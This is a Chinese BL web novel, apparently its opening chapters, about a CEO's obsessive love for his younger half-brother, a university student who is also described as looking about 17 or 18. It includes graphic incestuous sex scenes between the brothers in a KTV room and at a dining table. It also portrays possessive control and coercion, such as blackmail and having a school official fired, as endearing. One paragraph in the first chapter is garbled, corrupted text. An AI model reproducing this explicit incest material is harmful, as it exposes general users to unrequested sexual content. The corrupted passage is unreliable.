图片载入中

宠溺无罪男同兄弟,不喜勿入

特大字】 【大字】 【中字】 【小字

宠溺无罪(【懦弱的快乐】兄弟篇)

******************************************************************

文案:俊美脱俗,高贵非凡。

楚氏企业的总裁,楚慎之,是一个如同童话中王子般的存在。

在众人眼中,他看似无可挑剔,但只要熟知楚家的人就知道,这个楚家的长子、楚氏企业的最高领导者,却有着一个极恐怖、极恐怖的缺陷——恋、弟、成、痴!

宠溺着、呵护着,性格古怪的楚天玉从小就是这样被哥哥捧在手心里长大的。

当昔日的小孩长成今日的少年,当昔日的宠爱化做今日的痴恋,当欲望淹没了理智,冲过了禁忌的界线——是谁臣服于谁?是谁吃定了谁?

******************************************************************

第一章

开阔的大会堂里,万头钻动。今天是闻名全国的楚氏企业一年一度的“全球十大杰出员工表扬大会”。

身为楚氏企业的员工,不管你是身处在地球的哪一个角落,只要你在过去的一年里对公司做出显着卓越的贡献,那你便可在这一天获邀回到台湾总部,站在会场庄严隆重的颁奖台上,意气风发地接受全体员工的艳羡及掌声。而随之而来的升官加薪及不可限量的前途更是不在话下。

正所谓“内行的看门道,外行的看热闹”,如果你以为让楚氏企业全球数十万员工为此殊荣争得你死我活、头破血流的原因就是以上的种种,那你就大错特错了,其实只有内部的员工才知道,真正驱使众人奋不顾身,为公司鞠躬尽瘁、死而后已的主要原因还有一个,那就是……

******************************************************************

“妈,还没有玉儿的消息吗?”

“没有没有,慎之,妈不是跟你说过如果有他的消息我会马上通知你的吗?

求求你能不能不要每十分钟就打电话回来问一次啊?我都快被你搞得精神衰弱了。

对了,你这几天为了找你弟弟没去上班也就算了,可今天是我们楚氏企业一年一度的盛会,你可千万不能缺席哦。“

“放心吧,妈,我人已经在会场了……”

“哎,你这孩子,你弟弟都已经是个大学生,不是小孩子了,就算放暑假没给家里说一声就跑出去玩几天,也不是什么大不了的事,看你紧张得饭也吃不下,觉也睡不着,你这是何苦呢?”

“妈,我只有这么一个弟弟,你知道我不能……不能没有他的……”

“是是,我知道打从你弟弟一出生,你心里就只记挂着他一个,捧在手里怕碎了,含在嘴里怕化了,整天为了他忙得东倒西歪的,有时候我真怀疑到底你是他妈,还是我是他妈啊?”

“我不跟你说了,我得挂电话了,妈,如果有——”

“如果有你弟弟的消息马上通知你对不对?好好,我知道我知道。”

“那再见了。”

合上手机,楚慎之的脸上尽是疲惫与茫然。在沙发上呆呆坐了一会,直到秘书在门外轻声提醒他时间到了,他才起身整了整衣裳,开门走了出去。

******************************************************************

有一种人,天生就是个发光体。

不管在多热闹、多混乱的场合里,只要他一站出来,就能让众人倾倒一片,鸦雀无声。

楚氏企业的总裁恰恰就是这种人。

修长挺拔,天生的衣架子,未经过任何人工修饰的浅巧肆ι狈⑶崞厮

嬉馍⒙浼缟希冻鲆徽挪还芸垂嗌俅味家腥似料⒌目∶廊菅眨成系谋砬橛

涝犊床患笙泊蟊床蝗萌司酰帽洌痪酰闷萃阉祝吖蠓欠玻萑灰2

豢杉埃辞畲艘簧惨刖“旆右郧捉?”辛苦你了。“只见楚总裁微微一笑,与得奖者握了握手。

简单的一句话,简单的一个微笑,简单的一个动作。全部加起来不到三十秒。

但这已经够了,这短短的三十秒就已经足够成为楚氏企业全体员工拼死拼活也要得到这个奖的原因了。

一个高大粗壮,年约三十岁的得奖员工已经感动地眼眶泛红,浑身颤抖,似乎下一刻就要忍不住嚎啕大哭起来。一旁的司仪很有经验地使个眼色,两位有着花容月貌的接待小姐立刻上前将该男子搀扶下台。

台下轰笑成一片,负责布景道具躲在后台偷看的几名工作人员也嘻嘻哈哈地笑成一团。

“哇塞,我们总裁的魅力真是非同凡响,那个男的不是日本分公司号称最凶残冷酷的业务组组长吗?怎么我们总裁看他一眼,他就感动地差点没跪下去膜拜了,真是太没用了,到底还是不是男人啊?”

“你还好意思说人家,上次总裁的车子也只不过从你面前经过,你就失魂落魄了一整天,只嚷着如果能让他当自己一天的男朋友,那就是死了也甘心。”

“讨厌,淑敏,你干吗老是糗人家啊,难道你自己不是也这样想的吗?”

“是啊,我不否认我是这样想的啊,但我还有自知之明,知道这是不可能的事,做梦归做梦,人还是要活在现实里的,像总裁那种如王子般高贵的存在,哪是我们这种丑小鸭配得上的。”

“哎呀,大姐姐们怎么可以说自己是丑小鸭呢?在我眼里看来,姐姐们都是最美丽的天鹅呢。”一个年约十七、八岁、五官俊朗的少年闻言立刻跳了出来。

“呵呵,阿天的嘴巴真甜,不枉姐姐们这几天这么照顾你。不过你也算幸运的了,才来工读没两天就能这么近距离地见到我们总裁,有些人来了几年都不一定有机会呢。”

“其实我觉得自己长得也不比总裁差啊,姐姐们怎么都不考虑把我当男朋友啊?现在不是很流行姐弟恋的吗?”

“哈哈,阿天你是长得不错啦,但跟总裁比起来那可差得远了,何况人家不但人长得帅,还是身家丰厚的亿万富翁,你这个可怜的穷工读生要拿什么跟人家比啊?少做白日梦了,还是脚踏实地把工作做好,领了工资去缴学费,好好把大学念完才是正经事。好了,别再闹了,晚会已经结束了,我们快去把布景道具收拾好,大家累了一天,事情做完,大家准备去狂欢吧。”

******************************************************************

“阿天,要不要跟大伙去唱歌?为了犒赏大家这几天来的辛劳,今天经理拿了一张我们公司旗下的KTV免费招待券给我,我们一起去吧?”带头的淑敏扬了扬手上的招待券开口问道。

“好啊,我要去,我要和姐姐们一起唱情歌。”

“呵呵,你这个小滑头,就会占姐姐们的便宜。那我们走吧,阿天,你就坐我的小绵羊,阿芬你们几个认得路的就自己去,我们在KTV大厅会合,是忠孝东路我们常去的那家分店,可别搞错了。”

“没问题。”

大伙各自带开,名唤阿天的少年坐在机车后座,因为带着安全帽听不清声音,所以每次遇到红灯就和前座的淑敏比手划脚地打闹起来。

车子在三十分钟内就抵达了目的地,大伙进了包厢,几个歌后已经快手快脚、噼里啪啦地点了一长串的流行歌曲,只把阿天看得是目瞪口呆。

“喂,姐姐们也太狠了吧,要等你们把这些歌唱完轮到我,得等到什么时候啊?”

“嘻,姐姐保证天亮前一定轮得到你。”

众歌后们也不管少年一脸的无奈,抓起麦克风就杀起鸡来。因为姑且不管音色和音准如何,音量却肯定是够杀死一只鸡的。

轮到舞曲上场了,淑敏不愧是团队里的大姐头,第一个就拉着阿天到舞池里尽情地扭摆起来,众人一片尖叫欢唿。

正当大家都闹成一团时,音乐却嘎然而止,点歌用的电脑和电视也倏地一片漆黑——“搞什么啊?人家跳得正高兴呢。”

众人的抱怨声还未落,门却在此时被踹了开来,走进一个她们做梦也想不到的人——“总……总裁!”

还来不及细想为什么一向不爱出入公共场合的总裁会在这里出现,本来东倒西歪倒在沙发上的女孩子们只是下意识地刷地一声齐齐站起身来,在自己的梦中情人面前摆出最端庄高雅的姿态,就连一向大喇喇的淑敏也不例外。

哦,不,还是有一个例外的。

发现到总裁一屋子的人谁也不看,只是定定地看着站在自己身旁的少年时,淑敏不禁着急地暗中扯了扯他的衣袖,“阿天,还不快站好。”

不知道阿天是没听到还是不予理会,他还是一脸吊儿朗当地斜靠在墙上,两眼放肆地盯着眼前的俊美男子,大有一副“你能拿我怎么样”的架势。

天啊,这个死阿天,今天是吃错药了?淑敏又再次着急地扯了扯他的衣袖,却被突如其来的一声大吼,吓得差点没破了胆——“不要再扯了!”

看着眼前再也没了从容优雅而是气得浑身发抖、脸色铁青的美男子,四周的空气顿时像是绷紧弓的弦,充满一触即发的危险。

时间一分一秒地过去,男子两眼还是紧紧盯着眼前的少年,脸色却已渐渐柔和下来……

就在众人总算松了一口气的时候,另一件令人错愕不已、哑口无言、目瞪口

呆的事却在此时发生了——只见一向高高在上、可望而不可及的楚氏企业总裁突

然怔怔流下泪来,一声哭喊,扑进了少年的怀里——

******************************************************************

密闭的包厢里充满了无止尽的呐喊及喘息。

一干无知兼无辜的观众连同整层楼的人员都已经被随行而来的总裁秘书撤离

得干干净净,只留下在沙发上纠结的两具男性肉体。

“啊啊……玉儿,玉儿,别再这么对我,别再这么一声不响地离开我,哥哥受不了……受不了……”跨坐在少年的身上,用身后的小穴一上一下地吞吐着坚硬巨大的肉棒,楚慎之发丝散乱,满脸泪水,不停地亲吻着眼前的人儿。

燕燕轻盈,如泣如诉,绝色美人的哀求就是仙人听了也要忍不住动了凡心。

但楚天玉闻言却像是无动于衷,只是闭上眼,不发一语。

“呜……玉儿,你在生气吗……你在生哥哥的气吗?哥哥做错了什么?我到底作错了什么啊?”

楚天玉两眼猛地睁了开来,恨恨地盯住了身上的人儿,却终究没开口,只是大手一挥,将桌上的杯盘扫落一地,将楚慎之两腿大张地掀翻在下,死命地抽插起来——“啊——”体内像是被怒涨的巨大整个贯穿而过,楚慎之又是痛苦又是爽快地尖叫着,两眼一翻,整个人几乎就要昏了过去。

也不知道自己究竟泄了多少次,楚慎之只要知道在他体内肆虐的是自己最心爱的弟弟,整个人就晕陶陶地不知东南西北,任凭自己像具破碎的娃娃被摆弄成各种奇怪的姿势也毫无怨言。

“啊啊……玉儿,给我,给我啊……你为什么不给我?你不要哥哥了吗?但哥哥要你啊……玉儿……玉儿,射给我——”发觉到少年至今一次也没泄身的楚慎之咬着牙,淫荡地扭摆起腰身,将插在自己小穴里的肉棒死命地绞紧,终于听见楚天玉闷哼一声,在一阵狂插猛抽后,如愿以偿地让他的精液射进了自己炙热的肉穴里——“呜啊……再多一点,再多一点!”楚慎之拼命收缩着肠道,想榨尽他最宝贝的琼浆玉露,将之永远留在自己的身体里。

但他的动作却使得楚天玉原本软掉的男根又渐渐地抬起头来,感受到少年又再次在自己的身上疯狂地奔驰,本已疲累不堪的楚慎之却只是不管不顾地抱紧他,哀哀地哭泣着。

“玉儿……再来……再来……没关系……弄坏哥哥也没关系……哥哥爱你…

…爱你啊……“

自从两人相见后,从头到尾不发一语的楚天玉闻言全身突地一震,像是被人点中死穴一般,原本彪捍凶狠的动作也柔软了下来,到最后终究叹了口气,轻轻吻上了那双红嫩的唇瓣。

只是轻轻的一吻就让楚慎之在一瞬间达到了绝顶的高潮,嘴里哭喊着“玉儿、玉儿”,叫着叫着就这么在少年的怀里失去了意识……

楚慎之从很小的时候就知道什么叫“孤独”。

那是一种深入骨髓、挥之不去的疏离感,一种好象全世界只有自己在唿吸的感觉。

没有人与自己同步,自己也不想与任何人同步。

是什么原因使自己变成这样一个孤僻的小孩?

是母亲的长年卧病在床,还是父亲的长年奔波在外?他并不想去深究,也不在乎自己究竟会变得如何。

一个才年仅七岁的小孩应该有权利不去思考太多吧。

但命运却由不得他不去正视生命的变化。

母亲在那年的春天终于撒手而去,结束了她短暂而寡欢的二十八年生命。然后在秋天来临的时候,父亲迎娶了长年照顾着母亲的护士。

来年,她产下了我在这世上唯一的兄弟……

从我在医院看到那个小东西的第一眼起,我的生命就再也不属于我自己。

虽然继母笑着说他长得像个小猴子,但我却从没见过如此美丽的东西。当那黑黑亮亮的眼睛傻乎乎地看着我时,连在母亲的灵堂上也没掉一滴泪的我第一次在众人面前落下泪来。

从此我不让任何人叫他“玉儿”,那是只属于我的名字。

我也坚持不让继母为他亲自哺乳,我讨厌他和任何人如此亲近,但我知道小婴儿需要母亲的抗体,所以我要求她将奶水挤进奶瓶里,由我亲自喂奶。

换尿布、洗澡、更衣、哄他入睡,不管多琐碎的事都由小小年纪的我不厌其烦地亲力而为,不假他人之手。到最后我连学校也不愿去了,我想守着玉儿,守在他身边,我不敢想象万一我不在玉儿的身边,他哭了,他饿了,他病了,那要怎么办?

我的罢课惊动了父母,他们觉得我对玉儿的占有欲已经太过离谱,但那又如何?总之我是不会离开他半步的。于是我开始发动绝食抗议,当时才八岁的我竟然能连续三天米粒未进,那样的坚决终于让父母投降了。到最后父亲只好答应了我,并为我聘请了家庭教师。但唯一的条件就是楚氏企业的接班人养成计划也要跟着提前进行。对这点我并无异议。

所以就算长大后被朋友笑说楚氏企业的总裁竟然连小学都没毕业,我也只是蛮不在乎地一笑置之。他们怎能了解,能陪伴着玉儿度过每一个珍贵的成长过程,对我来说比什么文凭都重要。

一直到玉儿上了小学,我才重新踏入校门。那时,我已经是个国中生了……

**************

“楚慎之,快点,快到小学部去,你弟弟又和人打架了,新来的训导主任正要罚他呢!”

虽然已经不是第一次了,但每次听到玉儿又出了事,楚慎之还是心慌意乱地拔腿就往隔壁的大楼跑去。

“哥哥!”可怜的小人儿哭着扑进了他的怀里,让楚慎之立刻心疼到不行。

“玉儿乖,有没有哪里受伤了?快让哥哥看看。”

“有,我这里好疼,那里也好痛,呜……哥哥,他们欺负我!”

虽然翻看了玉儿全身也看不出表面上有什么伤痕,但他会喊痛,那肯定是痛的,难不成是得了内伤?楚慎之心里又急又气,站起身来对着旁边的一群人噼头就是一阵怒骂!

“哪个不知死活的敢伤了我家玉儿,统统给我站出来!”

“楚天玉,你还敢恶人先告状,明明就是你先动手的,他们两个被你打得鼻青脸肿,你怎么不说?还有,你就是楚天玉的哥哥楚慎之吧,早听说你把你弟弟宠得无法无天,今天果然是百闻不如一见。总之现在请你先回去你们国中部上课,这里的事自然有我这个训导主任处理。”一个高大黝黑的男子站了出来,义正严词地训斥着。

“由你处理?笑话,我家玉儿的事全世界就只有我有资格处理!就算我把我弟弟宠上了天那也是我们楚家的事,你站在我们楚家的地盘还敢在这里大放厥词,胆子还真不小。”

“哼,王子犯法与庶民同罪,就算学校是你们楚氏企业开的,但只要你们还是这个学校的学生那就要遵守校规,我身为训导主任今天就要秉公处理,不然如何服众?楚天玉,你欺负同学,动手打人,我要你立刻向同学道歉,并罚你去打扫全年级的厕所,听到没有?”

“哥哥!我不要跟他们道歉,我不要扫厕所,我不要!”

搂紧在自己怀里哭得泪涟涟的小小人儿,楚慎之第一次有了想杀人的冲动。

他从小一手带大,捧在手心万般小心呵护的宝贝竟然被人罚去扫厕所?真是给天借胆了!

“好啊,挺威风的嘛?可惜你这个小小的训导主任在我楚慎之眼里什么都不是!我告诉你,你被开除了!”

“哼,开除就开除,但就算我要离开也要等我把这事处理完再走!”

楚慎之还是第一次遇到如此硬气的人,在气恼之余也不禁对他有了三分欣赏。

“哎呀,大少爷消消气,郑主任刚来我们学校对内部情况还不是很清楚,回头我好好训训他,下次一定不会再有这种情况发生了。我看二少爷有点受惊了,今天就早点回去休息吧。”

“你还知道来啊?好,王校长,我今天就卖你这个面子。至于这个新来的主任嘛……处罚倒是不必了,你给我好好教教他,在这个学校里,他想教训谁都行,就是我楚慎之本人犯了错也绝不逃避,但就只有我家玉儿是谁也碰不得的!如果他不能接受这个事实,那他还是早点离开的好。至于你对下属督导不周的责任…

…哼哼,下次我再好好跟你算。玉儿,我们走。“

“好,哥哥抱抱!”

宠溺地亲了亲玉儿可爱的脸蛋,楚慎之拦腰将他的弟弟抱起,头也不回地大步离去。

不怕不怕,我的玉儿,有哥哥在,任谁也别想欺负你,我会永远守在你身边。

因为你是我的宝贝,我的宝贝……

玉儿……玉儿……

*********************************

“玉儿……宝贝……”

呢喃地从梦中醒来,楚慎之从身旁温热的肉体和熟悉的气味,得知自己还躺在心爱的人儿怀里,立刻暗暗松了口气,露出满足的笑容。

自己昨晚肯定又昏过去了,玉儿也真是的,老是那么勇猛,这样哥哥怎么受得了吗?又羞又恼地睁眼看着睡在自己身旁的少年,楚慎之脸蛋微微一红。

明明昨天在梦里还是那个需要我安慰呵护的小小人儿,为什么一转眼就变成了眼前这个能将自己操弄得死去活来的高大男子了呢?

时间的流逝真如指间流沙,可是不管世事再如何变化,却只有一点是自己能确定的,那就是不管是从前那个哭着叫哥哥的玉儿,还是现在这个能让他哭着求饶的玉儿,都是已经刻在自己骨子里,这辈子也好,下辈子也罢,生生世世都无法割舍的人儿。

几天不见,玉儿好象瘦了点。心疼地抚摸着少年清俊的脸庞,楚慎之到现在还是搞不清楚自己这个宝贝弟弟为什么要离家出走。

他一向对玉儿百依百顺,如果他在无意间做了什么让玉儿不开心的事,他可以直接告诉他啊,自己是不在乎要怎么道歉的,就算玉儿要惩罚他,他也从来不曾反抗过啊。

想到以往曾接受过的“惩罚”,楚慎之心神一荡,全身又发起热来。

不行,不行,现在不是发花痴的时候!楚慎之狠狠地掐了自己一下。

他得快去给玉儿炖点补品,把他这几天流失的养分补回来。玉儿现在还是在长高的时候,他一向挑嘴,不轻易吃外面的东西,连他在转学到台北的大学前,在高雄上学的时候也都是他派楚家第一大厨过去伺候的。这几天在外面独自一个人生活,玉儿肯定都没吃好,他得快去亲自煮点玉儿爱吃的,好好帮他补一补。

在玉儿熟睡的可爱脸蛋上轻轻印下一个吻,楚慎之轻手轻脚地翻身下了床,拾起被扔在地上的睡袍披上,但才起身一抬眼,整个人就愣住了。

这…这是哪里啊?这不是我和玉儿的卧室啊?

再仔细巡视了一番,楚慎之这才终于想起来了。

自从半年前和玉儿发生了超越兄弟的关系,他就购买了这幢在海边的别墅,和玉儿搬出了与父母同住的房子。而这个地方就是当初为了瞒住父母,不让他们知道他们两兄弟同睡一床,而在三楼为玉儿特地布置的房间。只是因为玉儿一向都和自己住在二楼的主卧室里,这个房间从来没用过,所以他才一时认不出来。

奇怪,玉儿都肯抱着自己回来了,为什么却不肯进他们两个的房间呢?难道是……

楚慎之不愧是从小被称为天才儿童,并受过领袖培训的非凡人物,心中略一沉吟,对玉儿这次为什么会离家的原因已经有了九成九的把握。

怒气冲冲地下到二楼,一脚踹开主卧室隔壁客房的门,再一把抓起在床上睡得像死猪的人,楚慎之一拳就让原本长相俊美的男子成了卡通片里最受欢迎的贱狗。

“唉呦!痛死人了,是哪个不知死活的家伙敢暗算本大爷?”

“哼哼,不知死活的恐怕是你这个猪头吧!说,玉儿考完期末考从学校回来的那一天,你是不是又喝得烂醉跑到我床上去睡,被他看见了?”

“没……没有!绝对没有!”他叶方遥又不是活得不耐烦了,明知道这个恐怖的家伙恋弟成痴,为了他的宝贝弟弟什么事都做得出来,自己如果主动承认了,那他这条小命还不是肉包子打狗——有去无回!

“哼哼,不说是吧?没关系,那我就立刻在美国放出消息,说你这个逃出神学院的叛徒,现在正在台湾悠哉悠哉地逍遥,你想如果你们家族长老知道了你的消息,是不是会很高兴呢?最重要的,如果那个人得知了你的行踪,不知道他要怎么感激我呢……”

“不行不行!绝对不能让那个人知道!楚慎之,你没义气!为了自己的弟弟就出卖朋友,你还是不是人啊?”

“我没义气?我不是人?从你来台湾投靠我们这群好友开始就到处惹是生非,被人接二连三地踢出去,到最后连阿德那只最有爱心的小鹿都受不了你,把你撵了出来。想当初要不是我大发善心收留你,你现在早就流落街头了!可恨我一时心软,引狼入室,竟累得我的宝贝玉儿离家受苦……”说到这里,楚慎之鼻头一酸,想到因为这个该死的惹祸精,害他的玉儿瘦了一大圈,他就恨不得一把掐死他!

“叶方遥!你给我听着,待会见到玉儿立刻跟他解释清楚,并向他磕头道歉,如果他不能原谅你,抱歉,别怪我不顾朋友之情,请你马上收拾行李给我滚出去!”

“磕头道歉?喂,楚慎之,你以为你家玉儿是我的祖宗啊?还要我跟他磕头,有没有搞错?”

“哼,刚好被你猜中了,玉儿就是我家的小祖宗,在这个家就是他最大,连我这个楚总裁都不敢得罪他,你吃了熊心豹子胆了,竟然敢让他气到离家出走。

你还真是有本事啊?“

“拜托,只不过酒喝多了走错房间,睡错床而已,我都跟他解释过了,这又不是第一次,以前我们高中毕业旅行时也曾经发生过啊,有什么好大惊小怪的。”

叶方遥翻了翻白眼,一副“有这么严重吗?”的样子。

楚慎之闻言顿时倒吸了一口冷气,语音颤抖地连话都快说不清楚了,“你…

…你告诉了玉儿我……我们以前毕业旅行的事?“

“对啊,我只是要证实我们之间的关系非比寻常,不小心睡错床是正常的,叫他不必介意啦。”

“天啊,叶方遥,我要杀了你!”

天啊地啊,为什么我当初要认识这个口没遮拦、天杀的混蛋啊?楚慎之痛苦地捧着头,悔恨地狂捶心肝!

他的玉儿从小就对他占有欲极强,在某些方面更是有着严重的洁癖,从不让别人碰他一下。连当初他想学柔道都被玉儿严厉禁止。最后还是他改选了包得密密实实,不会和人有肢体接触的剑道,才得到他的允许。

现在竟然被玉儿得知他的床曾经被别人睡过,而且还不只一次,难怪他要气得离家出走,连好不容易回来了也不进自己的房间。

怎么办?怎么办?这次恐怕不是这么容易让玉儿消气啊。想到昨天在KTV里,玉儿那充满恨意的眼光,楚慎之恐惧地简直快站不住脚了。

不行,不行,他一定得快想想办法……

第三章

“婆婆,你去叫玉儿下来吃饭好不好?我刚去叫他,他都不理我。这些菜都快凉了,你快去叫他吧。”楚慎之想到刚刚玉儿赖在床上,对他的哀求置若罔闻的模样,不由得头疼不已。

一位头发花白,容貌身段却不显老态的妇人闻言不禁摇头苦笑。她是慎之母亲的奶妈,从娘家陪着他母亲嫁入楚家,在这个家里也有二十几年了,可说是从小看着他们两个小家伙长大的,又怎么不知慎之是如何将他的宝贝弟弟捧在手心的。

“你啊,真是把天玉宠坏了,他如果肚子饿了自然就会下来吃了,用不着你去替他担心。如果他不能体谅你一大早就为他忙到现在,辛苦煮了一堆他爱吃的饭菜,还在那边耍小孩子脾气,那他饿死活该。”

“婆婆,不准你这么说!玉儿这几天在外面已经受了很多苦了,你怎么还可以怪他?是我不对,玉儿生气是应该的。如果你不去叫他下来吃饭,那我也不吃,陪他一起饿肚子好了。”

“好好,我去叫我去叫。怎么一说到你弟弟,你这个总裁就成了个偏执狂,什么原则都没了,真是……”一边摇头一边往楼上走去,婆婆心想,这真是一物降一物。

慎之从小就是个沉默早熟的孩子,好象什么事都引不起他的兴趣,对任何人都是爱理不理,跟自己的父母也不亲近,没想到那样淡漠的性子在天玉这个小兔崽子出生那一天起就被完全颠覆了,那个对什么都不上心的小孩,竟从此有了比自己性命还重要的宝贝……

想到这对奇特的兄弟,和郁郁而终的夫人,婆婆不禁无语问苍天。哎,难道一切都是天意?

“小兔崽子,还不快给我起来!”一把掀开棉被,将床上的少年拉下床,婆婆也不管他全身光熘熘地不着片缕,就用力将他推向浴室,“快去刷牙洗脸,你哥还等着你吃饭呢。”

“我不吃。”啪地一声坐倒在沙发上,楚天玉双手抱胸,两脚大张,丝毫没有赤身裸体显露在人前的窘迫,只是面无表情淡淡地开口。

“你说什么?你这没良心的东西。你哥哥这几天为了找你饭也没好好吃,觉也没好好睡,整个人简直就要累垮了,好不容易等到你回来了,今天却不好好休息,一大早就起床为你忙东忙西到现在,你还敢说你不吃?你到底有没有良心啊?”

“婆婆,从小你就知道我是没良心的人了,不是吗?”楚天玉蛮不在乎地一笑,但笑意却一点也没到达眼里。

“是是,不只我知道,全世界都知道,可惜就你那个被鬼迷了心窍、眼睛被牛屎煳到的哥哥不知道!小兔崽子,不准再折腾你哥了,快给我下去吃饭!你明知道从小你一耍脾气不吃饭,你哥哥也一定跟着饿肚子陪你,他的胃就是这样被你弄坏的。那时候你年纪还小不懂事,我们大人也不怪你,但你现在已经长大了,难道还要这么任性下去?到时候你哥胃病犯了,最心疼的是谁啊?”

楚天玉闻言眉头微微一颦,也没再多说什么,起身就往浴室走了过去。

*********************

“玉儿,多喝点,这个汤我熬了很久,非常滋补,你多喝一点啊,烫不烫?

哥哥帮你吹吹。“双手捧着他为宝贝弟弟专门订做的顶级瓷碗和汤勺,楚慎之整个人几乎可说是粘在少年的身上。

楚天玉虽然安静地喝着送到嘴边的美味,但一双黑黝黝的眼眸却意味深长地地盯住眼前的人,让楚慎之被看得一阵脸红心跳,双手颤抖地差点把汤都给洒了。

“你也喝点。”楚天玉突然将汤汁含在嘴里,扯住那头柔顺的发丝就往那两片红唇渡了过去。

“嗯……嗯……”仿佛渴得不得了,楚慎之在喝下嘴里的汤汁后,还意犹未尽地缠着少年,吸吮着他口中的密津,手里的碗勺也不知何时被放到了桌上,双手一空,楚慎之立刻偎进少年的怀里,抱紧他的颈项,两人疯狂地亲吻着。

一对兄弟就这样喂汤亲嘴,一来一往,玩得不亦乐乎。

汤碗很快就见了底。

“喝了点热汤,胃比较不疼了吧?”离开那娇艳红嫩的唇瓣,楚天玉轻轻地问。

“嗯……疼,还疼,哥哥还要玉儿喂……”全身软绵绵地瘫倒在少年的身上,楚慎之用发烫的脸颊磨蹭着玉儿结实的胸膛,软软地说。

“哥哥真坏,玉儿肚子也饿了啊,这次应该要轮到你喂我才对。”

“玉儿……”抬头看见少年微微嘟嘴撒娇的模样,楚慎之全身上下的骨头立刻就酥了。

好可爱,好可爱,我的玉儿怎么会这么可爱啊!在心底无声地尖叫着,楚慎之连忙起身拿起刀叉,“玉儿,那先吃这道海鲜千层面好不好,哥哥刚刚烤出来的,还热着呢,你快来尝尝。”

“哇,我也最爱吃千层面了,楚慎之,你太过分了,有好吃的也不会叫客人一起吃,你当什么主人吗你?”自称为“客人”的男子不知何时闯了进来,快手快脚地把整盘的千层面“扫”到面前,埋头狼吞虎咽起来。

“啊——!住手!”或者应该叫“住口”才对,但不管楚慎之再如何地尖叫制止,终究是晚了一步。

心里暗暗叫苦,楚慎之几乎不敢转头去看玉儿脸上的表情。从小只要是他亲手为他弟弟准备的菜肴,任何人,包括他父母,也休想碰一下,如今却被叶方遥这个吃相像猪一样的野人乱七八糟地胡吃一通,玉儿肯定气炸了!呜……怎么办?

怎么办?

“哎呀,哥哥,你不应该叫人家住手的,叶大哥说的对,有好吃的东西怎么可以不叫客人一起来吃呢?这可不是我们楚家的待客之道啊。何况他还是和哥哥感情好到可以同睡一张床,交情非浅的好朋友呢。叶大哥,这桌上的菜全都是哥哥专门为你做的,你慢慢吃啊,我先上楼去了。”楚天玉面带微笑地说完后,起身便要离去。

“玉儿,不要走!你才喝了几口汤,肚子一定会饿的,你再吃点好不好?”

楚慎之着急地上前拉住玉儿的手,苦苦地哀求着。

“你要我吃那个人吃过的东西?”楚天玉冷冷一笑,“我还没饿到这个程度。

放手!“

用力甩开那双冰凉的手,楚天玉大步出了饭厅。

“玉儿,你别生气,哥哥知道错了,玉儿……”亦步亦趋地跟在宝贝弟弟的身后,楚慎之已经急得手足无措。

“我现在不想看到你,你要是敢跟着我,我马上就出去。”用低沉的语气撂下狠话,楚天玉头也不回地上楼去了。

呜……怎么办,玉儿不理我了,怎么办?

看刚刚玉儿肯吃自己为他做的东西,而且还担心他的胃,用那种甜死人的方式喂自己喝汤,想来玉儿应该是已经要消气了,一场风波眼看就要过去,没想到竟然半途杀出个扫把星!

好你个叶方遥!你看我怎么整你!

深吸了一口气,压下满腔的恼怒,楚慎之转身步进饭厅,坐回自己的座位,拿起桌上的铃,轻轻摇了一下。

“怎么了?天玉怎么不见了?这么快就吃饱了吗?”婆婆听到铃声走了进来,疑惑地问。

“婆婆,把这些菜全倒了。”

“为什么?这些菜还剩很多呢,倒了多可惜。”

“因为这些菜被某个不要脸、只会给人家带来灾难的扫把星动了之后,我怕得狂犬病、口蹄疫、禽流感、狂牛病,不一定连神经病都会上身,所以你立刻把它们全都倒了,把垃圾包好,贴上‘剧毒,请勿靠近’,然后立刻扔到门外去!”

“天啊,阿慎,你们家怎么有这么恐怖的人啊?那我刚刚吃了这么多,不知道会不会有事哦?我的命可是很宝贵的,那个人要是知道我死了,一定会很伤心的。”担心地摸了摸自己的肚子,叶方遥愁眉苦脸地说。

楚慎之闻言简直气到头顶冒烟!“叶方遥,我说的就是你这个猪头!你还敢在那边给我装蒜!”

“什么?你说的是本大爷?喂,楚慎之,你有没有搞错,我可是全美国最古老、最尊贵的奥德兰家族第一百零三代的唯一继承人,你竟然敢说我是什么扫把星,还怕我有传染病,你这样也太夸张了吧?”

“哼哼,这样就叫夸张?我今天就让你见识一下我楚慎之夸张的手段!婆婆,把叶先生的行李连同那包垃圾一起扔到门外去,再马上叫工人把楼上主卧室和客房的床都给拿去烧了,一点残渣也不许剩。还有,找几个人把全屋子上上下下都给我好好打扫消毒一遍,千万要让那些病毒死无葬身之地!”

看到楚慎之说到最后一句那种咬牙切齿的模样,叶方遥不禁吓得微微一缩。

“喂,阿慎,我到底作错什么吗?人家都已经下楼准备要向你弟弟好好道歉了,你干吗还要把我赶出去?”

“你这样胡搞一通叫道歉?哼哼,不必了,依你这种道歉的方式再多来几次,难保哪一天我家玉儿就不要我了!不行不行,你这个灾星快给我出去。哪,这些钱给你,随便你去住哪一家酒店,就是不准再来我家,听到没有?”

“你明知道我最讨厌住冷冰冰的酒店了,还要把我赶出去,阿慎,你没义气!”

“义气?义气是什么东西?比得上我家玉儿一根寒毛吗?哼,废话少说,你如果再不出去,我就马上打电话叫那个人来接你,你看怎么样?”

“好好,我走就是,见色忘友,楚慎之,我今天算认清你了!”

“哼,彼此彼此。请慢走,哦,不,是请快走,不送了!”

**********************

“玉儿,你生气了就惩罚我,哥哥怎么样都没关系,求求你别不理哥哥好不好?”

夜幕低垂,宽阔的书房里,只见一个眉目如画、俊美非凡的男子像一只小狗一样围在少年的身边团团转。

“吵死人了!你再打扰我看漫画,休怪我翻脸。”少年把脚翘在书桌上,眼睛盯着漫画,连头也不抬一下。

“玉儿,你别生气嘛,你罚我罚我啊,只要你能消气,哥哥什么都愿意做。”

“哼,我干吗要惩罚你,每次罚到最后最爽的还不是你?”少年砰地一声将书摔在桌上,“我可不想再做这种‘爽’人不利己的事了。”

楚慎之闻言脸蛋顿时烧了起来,“哪……哪有?玉儿自己看起来也很爽的样子啊。”

“我是惩罚你的人,我爽本来就是应该的,但你爽就是不对!”

“就因为惩罚我的人是玉儿,所以哥哥才会觉得爽嘛,这有什么不对?”

“不对不对,你爽就是不对!”

“为什么你爽就对,我爽就不对?不公平!”

两人就这样爽来爽去,口沫横飞地争论不休。要是让不知情的人在窗外看见了,还以为楚家赫赫有名、相貌一流的两兄弟在忧国忧民,谈论什么国家大事呢。

“好啊,你好样的,做错事了还敢顶嘴,过来给我跪下!”

少年的语气凶恶霸道,但楚慎之闻言不但不气恼,反而眼睛一亮,兴冲冲地跑到他面前跪好。“玉儿要罚哥哥了吗?”

